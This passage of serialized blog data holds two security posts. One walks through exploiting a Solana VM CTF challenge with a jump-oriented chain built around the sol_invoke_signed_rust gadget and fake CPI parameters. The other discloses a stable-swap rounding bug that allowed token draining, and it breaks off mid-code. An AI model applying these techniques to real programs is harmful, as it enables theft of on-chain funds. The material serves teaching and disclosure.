79a1c8ff00000000",{"type":21,"tag":153,"props":4840,"children":4841},{"style":192},[4842],{"type":26,"value":3853},{"type":21,"tag":153,"props":4844,"children":4845},{"style":192},[4846],{"type":26,"value":4153},{"type":21,"tag":153,"props":4848,"children":4849},{"style":160},[4850],{"type":26,"value":3863},{"type":21,"tag":153,"props":4852,"children":4853},{"style":192},[4854],{"type":26,"value":3868},{"type":21,"tag":153,"props":4856,"children":4857},{"style":198},[4858],{"type":26,"value":3873},{"type":21,"tag":153,"props":4860,"children":4861},{"style":300},[4862],{"type":26,"value":4863},"56",{"type":21,"tag":153,"props":4865,"children":4866},{"style":160},[4867],{"type":26,"value":3883},{"type":21,"tag":153,"props":4869,"children":4870},{"style":192},[4871],{"type":26,"value":4872},"var_38",{"type":21,"tag":153,"props":4874,"children":4875},{"style":160},[4876],{"type":26,"value":548},{"type":21,"tag":153,"props":4878,"children":4879},{"class":155,"line":3509},[4880,4885,4889,4893,4897,4901],{"type":21,"tag":153,"props":4881,"children":4882},{"style":192},[4883],{"type":26,"value":4884},"100001c58",{"type":21,"tag":153,"props":4886,"children":4887},{"style":192},[4888],{"type":26,"value":4676},{"type":21,"tag":153,"props":4890,"children":4891},{"style":192},[4892],{"type":26,"value":4148},{"type":21,"tag":153,"props":4894,"children":4895},{"style":192},[4896],{"type":26,"value":3914},{"type":21,"tag":153,"props":4898,"children":4899},{"style":160},[4900],{"type":26,"value":1670},{"type":21,"tag":153,"props":4902,"children":4903},{"style":300},[4904],{"type":26,"value":4693},{"type":21,"tag":153,"props":4906,"children":4907},{"class":155,"line":3517},[4908,4913,4918,4922],{"type":21,"tag":153,"props":4909,"children":4910},{"style":192},[4911],{"type":26,"value":4912},"100001c60",{"type":21,"tag":153,"props":4914,"children":4915},{"style":192},[4916],{"type":26,"value":4917},"  85100000fefdffff",{"type":21,"tag":153,"props":4919,"children":4920},{"style":192},[4921],{"type":26,"value":4066},{"type":21,"tag":153,"props":4923,"children":4924},{"style":192},[4925],{"type":26,"value":4715},{"type":21,"tag":153,"props":4927,"children":4928},{"class":155,"line":3526},[4929],{"type":21,"tag":153,"props":4930,"children":4931},{"emptyLinePlaceholder":16},[4932],{"type":26,"value":759},{"type":21,"tag":153,"props":4934,"children":4935},{"class":155,"line":3607},[4936,4941,4946,4951,4956,4961],{"type":21,"tag":153,"props":4937,"children":4938},{"style":192},[4939],{"type":26,"value":4940},"100001c68",{"type":21,"tag":153,"props":4942,"children":4943},{"style":300},[4944],{"type":26,"value":4945},"  9500000000000000",{"type":21,"tag":153,"props":4947,"children":4948},{"style":192},[4949],{"type":26,"value":4950},"   exit",{"type":21,"tag":153,"props":4952,"children":4953},{"style":160},[4954],{"type":26,"value":4955}," {",{"type":21,"tag":153,"props":4957,"children":4958},{"style":192},[4959],{"type":26,"value":4960},"__return_addr",{"type":21,"tag":153,"props":4962,"children":4963},{"style":160},[4964],{"type":26,"value":548},{"type":21,"tag":22,"props":4966,"children":4967},{},[4968,4970,4976],{"type":26,"value":4969},"Which, assuming that ",{"type":21,"tag":78,"props":4971,"children":4973},{"className":4972},[],[4974],{"type":26,"value":4975},"sol_invoke_signed_rust",{"type":26,"value":4977}," returns 0, is doing the following:",{"type":21,"tag":126,"props":4979,"children":4980},{},[4981,4990,4999],{"type":21,"tag":91,"props":4982,"children":4983},{},[4984],{"type":21,"tag":78,"props":4985,"children":4987},{"className":4986},[],[4988],{"type":26,"value":4989},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":21,"tag":91,"props":4991,"children":4992},{},[4993],{"type":21,"tag":78,"props":4994,"children":4996},{"className":4995},[],[4997],{"type":26,"value":4998},"*[r10-120] = 0x18",{"type":21,"tag":91,"props":5000,"children":5001},{},[5002,5004,5010,5012,5019],{"type":26,"value":5003},"Calls ",{"type":21,"tag":78,"props":5005,"children":5007},{"className":5006},[],[5008],{"type":26,"value":5009},"__rust_dealloc",{"type":26,"value":5011},", which in default circumstances is a ",{"type":21,"tag":29,"props":5013,"children":5016},{"href":5014,"rel":5015},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[33],[5017],{"type":26,"value":5018},"NOP",{"type":26,"value":355},{"type":21,"tag":22,"props":5021,"children":5022},{},[5023],{"type":26,"value":5024},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":21,"tag":22,"props":5026,"children":5027},{},[5028],{"type":26,"value":5029},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":21,"tag":22,"props":5031,"children":5032},{},[5033,5035,5042],{"type":26,"value":5034},"Looking at the ",{"type":21,"tag":29,"props":5036,"children":5039},{"href":5037,"rel":5038},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[33],[5040],{"type":26,"value":5041},"definition",{"type":26,"value":5043},", it's not crystal clear what the parameters are:",{"type":21,"tag":143,"props":5045,"children":5047},{"className":145,"code":5046,"language":147,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[5048],{"type":21,"tag":78,"props":5049,"children":5050},{"__ignoreMap":7},[5051],{"type":21,"tag":153,"props":5052,"children":5053},{"class":155,"line":156},[5054,5058,5063,5067,5072,5076,5081,5086,5091,5095,5100,5104,5108,5112,5116,5120,5125,5129,5133,5137,5142,5146,5150,5154,5158,5162,5167,5171,5175,5179,5183],{"type":21,"tag":153,"props":5055,"children":5056},{"style":170},[5057],{"type":26,"value":1000},{"type":21,"tag":153,"props":5059,"children":5060},{"style":181},[5061],{"type":26,"value":5062}," sol_invoke_signed_rust",{"type":21,"tag":153,"props":5064,"children":5065},{"style":160},[5066],{"type":26,"value":189},{"type":21,"tag":153,"props":5068,"children":5069},{"style":192},[5070],{"type":26,"value":5071},"instruction_addr",{"type":21,"tag":153,"props":5073,"children":5074},{"style":198},[5075],{"type":26,"value":201},{"type":21,"tag":153,"props":5077,"children":5078},{"style":198},[5079],{"type":26,"value":5080}," *",{"type":21,"tag":153,"props":5082,"children":5083},{"style":170},[5084],{"type":26,"value":5085},"const",{"type":21,"tag":153,"props":5087,"children":5088},{"style":214},[5089],{"type":26,"value":5090}," u8",{"type":21,"tag":153,"props":5092,"children":5093},{"style":160},[5094],{"type":26,"value":1670},{"type":21,"tag":153,"props":5096,"children":5097},{"style":192},[5098],{"type":26,"value":5099},"account_infos_addr",{"type":21,"tag":153,"props":5101,"children":5102},{"style":198},[5103],{"type":26,"value":201},{"type":21,"tag":153,"props":5105,"children":5106},{"style":198},[5107],{"type":26,"value":5080},{"type":21,"tag":153,"props":5109,"children":5110},{"style":170},[5111],{"type":26,"value":5085},{"type":21,"tag":153,"props":5113,"children":5114},{"style":214},[5115],{"type":26,"value":5090},{"type":21,"tag":153,"props":5117,"children":5118},{"style":160},[5119],{"type":26,"value":1670},{"type":21,"tag":153,"props":5121,"children":5122},{"style":192},[5123],{"type":26,"value":5124},"account_infos_len",{"type":21,"tag":153,"props":5126,"children":5127},{"style":198},[5128],{"type":26,"value":201},{"type":21,"tag":153,"props":5130,"children":5131},{"style":214},[5132],{"type":26,"value":323},{"type":21,"tag":153,"props":5134,"children":5135},{"style":160},[5136],{"type":26,"value":1670},{"type":21,"tag":153,"props":5138,"children":5139},{"style":192},[5140],{"type":26,"value":5141},"signers_seeds_addr",{"type":21,"tag":153,"props":5143,"children":5144},{"style":198},[5145],{"type":26,"value":201},{"type":21,"tag":153,"props":5147,"children":5148},{"style":198},[5149],{"type":26,"value":5080},{"type":21,"tag":153,"props":5151,"children":5152},{"style":170},[5153],{"type":26,"value":5085},{"type":21,"tag":153,"props":5155,"children":5156},{"style":214},[5157],{"type":26,"value":5090},{"type":21,"tag":153,"props":5159,"children":5160},{"style":160},[5161],{"type":26,"value":1670},{"type":21,"tag":153,"props":5163,"children":5164},{"style":192},[5165],{"type":26,"value":5166},"signers_seeds_len",{"type":21,"tag":153,"props":5168,"children":5169},{"style":198},[5170],{"type":26,"value":201},{"type":21,"tag":153,"props":5172,"children":5173},{"style":214},[5174],{"type":26,"value":323},{"type":21,"tag":153,"props":5176,"children":5177},{"style":160},[5178],{"type":26,"value":2362},{"type":21,"tag":153,"props":5180,"children":5181},{"style":198},[5182],{"type":26,"value":2953},{"type":21,"tag":153,"props":5184,"children":5185},{"style":214},[5186],{"type":26,"value":5187}," u64\n",{"type":21,"tag":22,"props":5189,"children":5190},{},[5191,5193,5198,5200,5207],{"type":26,"value":5192},"The source of ",{"type":21,"tag":29,"props":5194,"children":5196},{"href":5195},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[5197],{"type":26,"value":3793},{"type":26,"value":5199}," helps a lot, but looking at the actual ",{"type":21,"tag":29,"props":5201,"children":5204},{"href":5202,"rel":5203},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[33],[5205],{"type":26,"value":5206},"implementation",{"type":26,"value":5208}," provides more clarity:",{"type":21,"tag":87,"props":5210,"children":5211},{},[5212],{"type":21,"tag":91,"props":5213,"children":5214},{},[5215,5220,5222,5229],{"type":21,"tag":78,"props":5216,"children":5218},{"className":5217},[],[5219],{"type":26,"value":5071},{"type":26,"value":5221}," points to a ",{"type":21,"tag":29,"props":5223,"children":5226},{"href":5224,"rel":5225},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[33],[5227],{"type":26,"value":5228},"StableInstruction",{"type":26,"value":201},{"type":21,"tag":22,"props":5231,"children":5232},{},[5233],{"type":21,"tag":3644,"props":5234,"children":5236},{"alt":5228,"src":5235},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":21,"tag":87,"props":5238,"children":5239},{},[5240,5265],{"type":21,"tag":91,"props":5241,"children":5242},{},[5243,5248,5250,5255,5257,5264],{"type":21,"tag":78,"props":5244,"children":5246},{"className":5245},[],[5247],{"type":26,"value":5099},{"type":26,"value":5249}," points to a slice of ",{"type":21,"tag":78,"props":5251,"children":5253},{"className":5252},[],[5254],{"type":26,"value":5124},{"type":26,"value":5256},"  ",{"type":21,"tag":29,"props":5258,"children":5261},{"href":5259,"rel":5260},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[33],[5262],{"type":26,"value":5263},"AccountInfos",{"type":26,"value":355},{"type":21,"tag":91,"props":5266,"children":5267},{},[5268,5273,5275,5280,5282,5287],{"type":21,"tag":78,"props":5269,"children":5271},{"className":5270},[],[5272],{"type":26,"value":5141},{"type":26,"value":5274}," is a bit trickier, it points to a slice of length ",{"type":21,"tag":78,"props":5276,"children":5278},{"className":5277},[],[5279],{"type":26,"value":5166},{"type":26,"value":5281},", containing slices of ",{"type":21,"tag":78,"props":5283,"children":5285},{"className":5284},[],[5286],{"type":26,"value":217},{"type":26,"value":355},{"type":21,"tag":22,"props":5289,"children":5290},{},[5291],{"type":21,"tag":3644,"props":5292,"children":5295},{"alt":5293,"src":5294},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":21,"tag":22,"props":5297,"children":5298},{},[5299,5301,5307],{"type":26,"value":5300},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":21,"tag":5302,"props":5303,"children":5304},"em",{},[5305],{"type":26,"value":5306},"future call frames",{"type":26,"value":355},{"type":21,"tag":22,"props":5309,"children":5310},{},[5311,5313,5320],{"type":26,"value":5312},"Now that we have all the parts, all we need is to string it together. The full ",{"type":21,"tag":29,"props":5314,"children":5317},{"href":5315,"rel":5316},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[33],[5318],{"type":26,"value":5319},"reference solution can be found here",{"type":26,"value":355},{"type":21,"tag":22,"props":5322,"children":5323},{},[5324],{"type":26,"value":5325},"Here's a visualization of the final JOP chain.",{"type":21,"tag":143,"props":5327,"children":5329},{"className":3674,"code":5328,"language":3676,"meta":7,"style":7},"graph BT\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n    C --> E[3: process]\n    E --> F[4: Write account_infos.len to target_r10 - 128]\n    E --> G[4: process]\n    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n    G --> I[5: process]\n    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n    I --> K[6: process]\n    K --> M[7: Write HeapBase to target_r10 - 120]\n    K --> N[7: process]\n    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n    N --> O[8: Write 0x4337 to the account]\n",[5330],{"type":21,"tag":78,"props":5331,"children":5332},{"__ignoreMap":7},[5333,5341,5348,5355,5363,5370,5378,5386,5394,5402,5410,5418,5426,5434,5442],{"type":21,"tag":153,"props":5334,"children":5335},{"class":155,"line":156},[5336],{"type":21,"tag":153,"props":5337,"children":5338},{},[5339],{"type":26,"value":5340},"graph BT\n",{"type":21,"tag":153,"props":5342,"children":5343},{"class":155,"line":166},[5344],{"type":21,"tag":153,"props":5345,"children":5346},{},[5347],{"type":26,"value":3696},{"type":21,"tag":153,"props":5349,"children":5350},{"class":155,"line":225},[5351],{"type":21,"tag":153,"props":5352,"children":5353},{},[5354],{"type":26,"value":3704},{"type":21,"tag":153,"props":5356,"children":5357},{"class":155,"line":239},[5358],{"type":21,"tag":153,"props":5359,"children":5360},{},[5361],{"type":26,"value":5362},"    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":21,"tag":153,"props":5364,"children":5365},{"class":155,"line":382},[5366],{"type":21,"tag":153,"props":5367,"children":5368},{},[5369],{"type":26,"value":3720},{"type":21,"tag":153,"props":5371,"children":5372},{"class":155,"line":501},[5373],{"type":21,"tag":153,"props":5374,"children":5375},{},[5376],{"type":26,"value":5377},"    E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":21,"tag":153,"props":5379,"children":5380},{"class":155,"line":533},[5381],{"type":21,"tag":153,"props":5382,"children":5383},{},[5384],{"type":26,"value":5385},"    E --> G[4: process]\n",{"type":21,"tag":153,"props":5387,"children":5388},{"class":155,"line":542},[5389],{"type":21,"tag":153,"props":5390,"children":5391},{},[5392],{"type":26,"value":5393},"    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":21,"tag":153,"props":5395,"children":5396},{"class":155,"line":762},[5397],{"type":21,"tag":153,"props":5398,"children":5399},{},[5400],{"type":26,"value":5401},"    G --> I[5: process]\n",{"type":21,"tag":153,"props":5403,"children":5404},{"class":155,"line":776},[5405],{"type":21,"tag":153,"props":5406,"children":5407},{},[5408],{"type":26,"value":5409},"    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":21,"tag":153,"props":5411,"children":5412},{"class":155,"line":795},[5413],{"type":21,"tag":153,"props":5414,"children":5415},{},[5416],{"type":26,"value":5417},"    I --> K[6: process]\n",{"type":21,"tag":153,"props":5419,"children":5420},{"class":155,"line":808},[5421],{"type":21,"tag":153,"props":5422,"children":5423},{},[5424],{"type":26,"value":5425},"    K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":21,"tag":153,"props":5427,"children":5428},{"class":155,"line":820},[5429],{"type":21,"tag":153,"props":5430,"children":5431},{},[5432],{"type":26,"value":5433},"    K --> N[7: process]\n",{"type":21,"tag":153,"props":5435,"children":5436},{"class":155,"line":842},[5437],{"type":21,"tag":153,"props":5438,"children":5439},{},[5440],{"type":26,"value":5441},"    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":21,"tag":153,"props":5443,"children":5444},{"class":155,"line":3204},[5445],{"type":21,"tag":153,"props":5446,"children":5447},{},[5448],{"type":26,"value":5449},"    N --> O[8: Write 0x4337 to the account]\n",{"type":21,"tag":22,"props":5451,"children":5452},{},[5453,5455,5461],{"type":26,"value":5454},"Small note: ",{"type":21,"tag":78,"props":5456,"children":5458},{"className":5457},[],[5459],{"type":26,"value":5460},"target_r10",{"type":26,"value":5462}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":21,"tag":143,"props":5464,"children":5466},{"className":145,"code":5465,"language":147,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n    0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[5467],{"type":21,"tag":78,"props":5468,"children":5469},{"__ignoreMap":7},[5470,5515,5551,5558],{"type":21,"tag":153,"props":5471,"children":5472},{"class":155,"line":156},[5473,5477,5482,5486,5491,5495,5499,5503,5507,5511],{"type":21,"tag":153,"props":5474,"children":5475},{"style":170},[5476],{"type":26,"value":1000},{"type":21,"tag":153,"props":5478,"children":5479},{"style":181},[5480],{"type":26,"value":5481}," call_frame_addr",{"type":21,"tag":153,"props":5483,"children":5484},{"style":160},[5485],{"type":26,"value":189},{"type":21,"tag":153,"props":5487,"children":5488},{"style":192},[5489],{"type":26,"value":5490},"depth",{"type":21,"tag":153,"props":5492,"children":5493},{"style":198},[5494],{"type":26,"value":201},{"type":21,"tag":153,"props":5496,"children":5497},{"style":214},[5498],{"type":26,"value":323},{"type":21,"tag":153,"props":5500,"children":5501},{"style":160},[5502],{"type":26,"value":2362},{"type":21,"tag":153,"props":5504,"children":5505},{"style":198},[5506],{"type":26,"value":2953},{"type":21,"tag":153,"props":5508,"children":5509},{"style":214},[5510],{"type":26,"value":323},{"type":21,"tag":153,"props":5512,"children":5513},{"style":160},[5514],{"type":26,"value":236},{"type":21,"tag":153,"props":5516,"children":5517},{"class":155,"line":166},[5518,5523,5528,5533,5537,5542,5546],{"type":21,"tag":153,"props":5519,"children":5520},{"style":300},[5521],{"type":26,"value":5522},"    0x200000000",{"type":21,"tag":153,"props":5524,"children":5525},{"style":198},[5526],{"type":26,"value":5527}," +",{"type":21,"tag":153,"props":5529,"children":5530},{"style":300},[5531],{"type":26,"value":5532}," 0x2000",{"type":21,"tag":153,"props":5534,"children":5535},{"style":198},[5536],{"type":26,"value":5080},{"type":21,"tag":153,"props":5538,"children":5539},{"style":192},[5540],{"type":26,"value":5541}," depth",{"type":21,"tag":153,"props":5543,"children":5544},{"style":198},[5545],{"type":26,"value":5527},{"type":21,"tag":153,"props":5547,"children":5548},{"style":300},[5549],{"type":26,"value":5550}," 0x1000\n",{"type":21,"tag":153,"props":5552,"children":5553},{"class":155,"line":225},[5554],{"type":21,"tag":153,"props":5555,"children":5556},{"style":160},[5557],{"type":26,"value":548},{"type":21,"tag":153,"props":5559,"children":5560},{"class":155,"line":239},[5561],{"type":21,"tag":153,"props":5562,"children":5563},{"style":3050},[5564],{"type":26,"value":5565},"// call_frame_addr(8) = 0x200011000\n",{"type":21,"tag":66,"props":5567,"children":5569},{"id":5568},"conclusion",[5570],{"type":26,"value":5571},"Conclusion",{"type":21,"tag":22,"props":5573,"children":5574},{},[5575,5577,5584],{"type":26,"value":5576},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":21,"tag":29,"props":5578,"children":5581},{"href":5579,"rel":5580},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[33],[5582],{"type":26,"value":5583},"they do exist",{"type":26,"value":355},{"type":21,"tag":22,"props":5586,"children":5587},{},[5588],{"type":26,"value":5589},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":21,"tag":22,"props":5591,"children":5592},{},[5593,5595,5600],{"type":26,"value":5594},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":21,"tag":5302,"props":5596,"children":5597},{},[5598],{"type":26,"value":5599},"entire",{"type":26,"value":5601}," runtime.",{"type":21,"tag":5603,"props":5604,"children":5605},"style",{},[5606],{"type":26,"value":5607},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":166,"depth":166,"links":5609},[5610,5614,5615,5618],{"id":68,"depth":166,"text":71,"children":5611},[5612,5613],{"id":116,"depth":225,"text":119},{"id":1511,"depth":225,"text":1514},{"id":2782,"depth":166,"text":2785},{"id":3656,"depth":166,"text":3659,"children":5616},[5617],{"id":3770,"depth":225,"text":3773},{"id":5568,"depth":166,"text":5571},"markdown","content:blog:2023-12-11-jumping-around-in-the-vm.md","content","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm","md",[5626,8110,8447,11981,16332,21443,31697,33127,33890,38115,43139,48163,49320,52811,63206,69935,71774,73484,78149,92048,94769,99558,101998,104343,110129,125949,134249,144173,149451,158844,161181],{"_path":5627,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":5628,"description":5629,"image":5630,"date":5634,"isFeatured":16,"tags":5635,"onBlogPage":16,"body":5638,"_type":5619,"_id":8107,"_source":5621,"_file":8108,"_stem":8109,"_extension":5624},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":5631,"width":5632,"height":5633},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[5636,5637],"solana","report",{"type":18,"children":5639,"toc":8101},[5640,5654,5659,5664,5672,5678,5683,5688,5697,5705,5710,5715,5723,5728,5733,6101,6111,6116,6632,6637,6645,6652,6658,6663,6668,6673,6680,6692,6697,6709,6945,6950,6955,6961,6966,6971,7017,7022,7030,7035,7040,7045,7188,7201,7316,7330,7338,7352,7360,7373,7378,7390,7398,7420,8038,8044,8049,8062,8075,8082,8087,8092,8097],{"type":21,"tag":22,"props":5641,"children":5642},{},[5643,5645,5652],{"type":26,"value":5644},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":21,"tag":29,"props":5646,"children":5649},{"href":5647,"rel":5648},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[33],[5650],{"type":26,"value":5651},"spl-token-swap",{"type":26,"value":5653},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":21,"tag":22,"props":5655,"children":5656},{},[5657],{"type":26,"value":5658},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":21,"tag":22,"props":5660,"children":5661},{},[5662],{"type":26,"value":5663},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":21,"tag":22,"props":5665,"children":5666},{},[5667],{"type":21,"tag":5302,"props":5668,"children":5669},{},[5670],{"type":26,"value":5671},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":21,"tag":66,"props":5673,"children":5675},{"id":5674},"discovery",[5676],{"type":26,"value":5677},"Discovery",{"type":21,"tag":22,"props":5679,"children":5680},{},[5681],{"type":26,"value":5682},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":21,"tag":22,"props":5684,"children":5685},{},[5686],{"type":26,"value":5687},"After a while, he noticed something weird..",{"type":21,"tag":5689,"props":5690,"children":5691},"blockquote",{},[5692],{"type":21,"tag":22,"props":5693,"children":5694},{},[5695],{"type":26,"value":5696},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":21,"tag":143,"props":5698,"children":5700},{"code":5699},"KwnjUuZ :              0 9vMJfxu ->              1 EPjFWdd\nKwnjUuZ :              1 EPjFWdd ->              2 9vMJfxu\nKwnjUuZ :              2 9vMJfxu ->              3 EPjFWdd\nHU1tejU :              3 EPjFWdd ->            625 PRT88Rk\n24ZbKS3 :            625 PRT88Rk ->              7 EPjFWdd\n3oRPcFa :              7 EPjFWdd ->              6 BQcdHdA\n",[5701],{"type":21,"tag":78,"props":5702,"children":5703},{"__ignoreMap":7},[5704],{"type":26,"value":5699},{"type":21,"tag":22,"props":5706,"children":5707},{},[5708],{"type":26,"value":5709},"Somehow, we were getting tokens from nothing?",{"type":21,"tag":22,"props":5711,"children":5712},{},[5713],{"type":26,"value":5714},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":21,"tag":143,"props":5716,"children":5718},{"code":5717},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[5719],{"type":21,"tag":78,"props":5720,"children":5721},{"__ignoreMap":7},[5722],{"type":26,"value":5717},{"type":21,"tag":22,"props":5724,"children":5725},{},[5726],{"type":26,"value":5727},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":21,"tag":22,"props":5729,"children":5730},{},[5731],{"type":26,"value":5732},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":21,"tag":143,"props":5734,"children":5736},{"code":5735,"language":147,"meta":7,"className":145,"style":7},"    // Solve for y by approximating: y**2 + b*y = c\n    let mut y = d_val;\n    for _ in 0..ITERATIONS {\n        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n        if y_new == y {\n            break;\n        } else {\n            y = y_new;\n        }\n    }\n",[5737],{"type":21,"tag":78,"props":5738,"children":5739},{"__ignoreMap":7},[5740,5748,5777,5809,5910,6015,6040,6052,6067,6087,6094],{"type":21,"tag":153,"props":5741,"children":5742},{"class":155,"line":156},[5743],{"type":21,"tag":153,"props":5744,"children":5745},{"style":3050},[5746],{"type":26,"value":5747},"    // Solve for y by approximating: y**2 + b*y = c\n",{"type":21,"tag":153,"props":5749,"children":5750},{"class":155,"line":166},[5751,5755,5759,5764,5768,5773],{"type":21,"tag":153,"props":5752,"children":5753},{"style":170},[5754],{"type":26,"value":629},{"type":21,"tag":153,"props":5756,"children":5757},{"style":170},[5758],{"type":26,"value":1560},{"type":21,"tag":153,"props":5760,"children":5761},{"style":192},[5762],{"type":26,"value":5763}," y",{"type":21,"tag":153,"props":5765,"children":5766},{"style":198},[5767],{"type":26,"value":255},{"type":21,"tag":153,"props":5769,"children":5770},{"style":192},[5771],{"type":26,"value":5772}," d_val",{"type":21,"tag":153,"props":5774,"children":5775},{"style":160},[5776],{"type":26,"value":1759},{"type":21,"tag":153,"props":5778,"children":5779},{"class":155,"line":225},[5780,5785,5790,5795,5800,5804],{"type":21,"tag":153,"props":5781,"children":5782},{"style":1751},[5783],{"type":26,"value":5784},"    for",{"type":21,"tag":153,"props":5786,"children":5787},{"style":192},[5788],{"type":26,"value":5789}," _",{"type":21,"tag":153,"props":5791,"children":5792},{"style":170},[5793],{"type":26,"value":5794}," in",{"type":21,"tag":153,"props":5796,"children":5797},{"style":300},[5798],{"type":26,"value":5799}," 0",{"type":21,"tag":153,"props":5801,"children":5802},{"style":198},[5803],{"type":26,"value":341},{"type":21,"tag":153,"props":5805,"children":5806},{"style":160},[5807],{"type":26,"value":5808},"ITERATIONS {\n",{"type":21,"tag":153,"props":5810,"children":5811},{"class":155,"line":239},[5812,5816,5821,5826,5830,5835,5839,5843,5847,5852,5856,5860,5865,5869,5874,5878,5883,5888,5892,5897,5901,5905],{"type":21,"tag":153,"props":5813,"children":5814},{"style":170},[5815],{"type":26,"value":245},{"type":21,"tag":153,"props":5817,"children":5818},{"style":160},[5819],{"type":26,"value":5820}," (",{"type":21,"tag":153,"props":5822,"children":5823},{"style":192},[5824],{"type":26,"value":5825},"y_new",{"type":21,"tag":153,"props":5827,"children":5828},{"style":160},[5829],{"type":26,"value":1670},{"type":21,"tag":153,"props":5831,"children":5832},{"style":192},[5833],{"type":26,"value":5834},"_",{"type":21,"tag":153,"props":5836,"children":5837},{"style":160},[5838],{"type":26,"value":2362},{"type":21,"tag":153,"props":5840,"children":5841},{"style":198},[5842],{"type":26,"value":2367},{"type":21,"tag":153,"props":5844,"children":5845},{"style":160},[5846],{"type":26,"value":5820},{"type":21,"tag":153,"props":5848,"children":5849},{"style":181},[5850],{"type":26,"value":5851},"checked_u8_power",{"type":21,"tag":153,"props":5853,"children":5854},{"style":160},[5855],{"type":26,"value":189},{"type":21,"tag":153,"props":5857,"children":5858},{"style":198},[5859],{"type":26,"value":1974},{"type":21,"tag":153,"props":5861,"children":5862},{"style":192},[5863],{"type":26,"value":5864},"y",{"type":21,"tag":153,"props":5866,"children":5867},{"style":160},[5868],{"type":26,"value":1670},{"type":21,"tag":153,"props":5870,"children":5871},{"style":300},[5872],{"type":26,"value":5873},"2",{"type":21,"tag":153,"props":5875,"children":5876},{"style":160},[5877],{"type":26,"value":2071},{"type":21,"tag":153,"props":5879,"children":5880},{"style":198},[5881],{"type":26,"value":5882},"?.",{"type":21,"tag":153,"props":5884,"children":5885},{"style":181},[5886],{"type":26,"value":5887},"checked_add",{"type":21,"tag":153,"props":5889,"children":5890},{"style":160},[5891],{"type":26,"value":189},{"type":21,"tag":153,"props":5893,"children":5894},{"style":192},[5895],{"type":26,"value":5896},"c",{"type":21,"tag":153,"props":5898,"children":5899},{"style":160},[5900],{